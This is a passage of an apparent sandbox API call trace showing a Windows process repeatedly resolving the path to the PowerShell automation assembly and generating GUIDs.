lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.855] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d854, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.862] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x1f947bcd, Data2=0xae15, Data3=0x40ee, Data4=([0]=0x9a, [1]=0xe6, [2]=0xe8, [3]=0x1c, [4]=0xb1, [5]=0x2b, [6]=0x7, [7]=0xc5))) returned 0x0 [0094.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d82c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d82c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.863] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xdbf9e8b0, Data2=0x1b3f, Data3=0x42da, Data4=([0]=0xba, [1]=0x2e, [2]=0x7e, [3]=0xb3, [4]=0x51, [5]=0xbc, [6]=0xb, [7]=0x1b))) returned 0x0 [0094.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.864] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xb023ee20, Data2=0x852f, Data3=0x4bd3, Data4=([0]=0x9b, [1]=0x67, [2]=0x57, [3]=0x50, [4]=0xd, [5]=0xad, [6]=0xd2, [7]=0x52))) returned 0x0 [0094.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.864] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xaf46125c, Data2=0x5ac0, Data3=0x4270, Data4=([0]=0x9f, [1]=0xfc, [2]=0x86, [3]=0x7, [4]=0xa2, [5]=0x45, [6]=0xef, [7]=0xbe))) returned 0x0 [0094.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.865] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xe544805c, Data2=0x8588, Data3=0x47b4, Data4=([0]=0xaa, [1]=0xd0, [2]=0x47, [3]=0x86, [4]=0xe8, [5]=0xb0, [6]=0xbd, [7]=0x91))) returned 0x0 [0094.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.865] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x2296fa2b, Data2=0xbfb5, Data3=0x447d, Data4=([0]=0x80, [1]=0x6, [2]=0x2b, [3]=0x5a, [4]=0x24, [5]=0x7, [6]=0x3c, [7]=0x5e))) returned 0x0 [0094.865] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xd991dac6, Data2=0x73c5, Data3=0x44bc, Data4=([0]=0xb4, [1]=0xe, [2]=0x3, [3]=0xa3, [4]=0xaf, [5]=0x47, [6]=0x5, [7]=0x7b))) returned 0x0 [0094.866] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xe8231d6b, Data2=0x6051, Data3=0x4f0a, Data4=([0]=0xa1, [1]=0x69, [2]=0xe9, [3]=0x60, [4]=0xe5, [5]=0x15, [6]=0xa0, [7]=0x96))) returned 0x0 [0094.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.866] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x71896f06, Data2=0x7f46, Data3=0x42d2, Data4=([0]=0xb6, [1]=0x1b, [2]=0x23, [3]=0x97, [4]=0xf5, [5]=0x44, [6]=0x77, [7]=0x1e))) returned 0x0 [0094.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d534, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.867] GetFullPathNameW 